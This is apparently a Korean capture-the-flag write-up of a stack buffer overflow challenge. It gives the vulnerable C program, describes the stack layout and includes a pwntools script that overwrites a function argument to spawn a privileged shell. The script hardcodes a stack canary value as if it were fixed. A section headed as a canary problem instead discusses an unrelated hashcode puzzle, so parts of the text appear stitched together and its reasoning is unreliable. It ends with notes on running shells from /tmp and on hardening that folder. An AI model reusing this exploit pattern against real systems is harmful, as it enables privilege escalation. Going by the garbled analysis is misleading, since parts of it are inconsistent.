문제 코드

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		setregid(getegid(), getegid());
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
 
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

취약한 코드 분석 - 코드 분석

if(key == 0xcafebabe){
	setregid(getegid(), getegid());
	system("/bin/sh");
}

위 조건문을 통해서 system(“/bin/sh”);를 실행시켜 권한 상승을 노릴 수 있다.

// 4번째 줄
func(0xdeadbeef);
 
// 17번째 줄
void func(int key)

하지만 key 값이 프로그램 개발 단계에서 하드 코딩되어 일반적인 방법으로는 실행하지 못하는 상황이다.

gets(overflowme);	// smash me!

위 경우 func함수에서 gets() 함수의 입력값에 최대치를 설정해 두지 않아서 buffer overflow 취약점이 발생할 수 있다. 변수 선언에서는 32 길이의 문자열 배열을 만들었지만, 실상 입력받는 함수인 gets 함수에서는 그 길이 이상으로 입력했을 경우에 대한 대비책인 코드를 만들지 않았다.

동적 분석

BOF 공격을 하기 전에 메모리 보호 기법이 있는지 확인했습니다. Canary 기법과 RELRO, PIE 보호 기법이 전부 걸려있는 것을 볼 수 있었다.

overflowme 버퍼 위치 확인

Canary 값 위치 확인

func함수에서 고의적으로 buffer overflow를 발생시킬 경우 canary 값의 위치를 확인할 수 있다. 결과 ebp-0xc에 위치한다는 것을 알 수 있었다.

key 변수 위치

if 문의 경우 두 변수를 비교하는데, 0xcafebabe라는 위에 코드에서 주어진 hex 값과 비교하고 있으므로 해당 코드가 if문이라고 판단.

버퍼 전체 그려보기

0x34는 10진수로 52이므로 A를 52개 채움을 통해서 key 변수의 메모리 위치를 알 수 있게 되었다 하지만 위 bof 파일의 경우 canary 기법이 걸려있습니다. 따라서 해당 기법을 우회하기 위해서는 Canary 영역을 피해서

메모리 값 분석

exploit

개인 컴퓨터에서 exploit.py가 작동하지 않아 ssh 서버의 /tmp에서 파일을 만들었습니다.

from pwn import * 
 
p = remote('localhost', 9000)
 
payload  = b'A' * 32
payload += p32(0xfef98900)
payload += b'B' * 8
payload += b'C' * 4
payload += b'D' * 4
payload += p32(0xcafebabe)
 
p.sendline(payload)
p.interactive()

삽질 내용

삽질1. Canary 미확인

char * p가 1byte이고 int * ip 가 8byte 인 것은 알았지만 hashcode가 5번 덧셈 연산이 이뤄져서 만들어진 것인데, 5개의 연산이 전부 다르면 어떻게 찾지라는 의문을 가졌다. 하지만 if hashcode==check_password(argv[1])이 함수만 통과하면 된다는 사실을 코드를 계속 반복적으로 해석하다 보니 알게 되었으며, 따라서 hashcode/5라고 hashcode가 5의 배수는 아니므로 이로 인해 생기는 차이는 추가적인 +으로 해결하려고 하였다. 또한 20자 문제는 \xC8이거 자체가 1자인데, 나는 C를 입력값 한 자로만 생각하고 있었다. 위 문제는 ascii 코드를 떠올리고 풀릴 수 있었다.

삽질2. Canary 위치 미확인

새로 배운 내용

tmp는 공용 폴더였다.

tmp 폴더는 모든 사용자와 프로세스가 자유롭게 읽고 쓸 수 있는 공용 임시 저장소이다. 왜냐하면 1777 권한이 존재하여 누구나 들어갈 수 있습니다. 하지만 sticky bit가 있어 다른 사람이 만든 파일은 마음대로 삭제, 수정이 불가능하다.

여기서 한 가지 떠오른 사실은 redteam 해킹에서 권한이 부족한데 shell을 실행시켜야 하는 상황이라면 /tmp 파일로 가서 쉘을 실행시킬 수 있다는 생각이 들었습니다. 따라서 찾아본 결과 유사 사례가 존재했습니다.

tmp 폴더 방어 방법

  1. noexec 옵션 적용하기
  2. nosuid 옵션 적용하기
  3. 스크립트 실행 차단 및 지속적인 로깅 활성화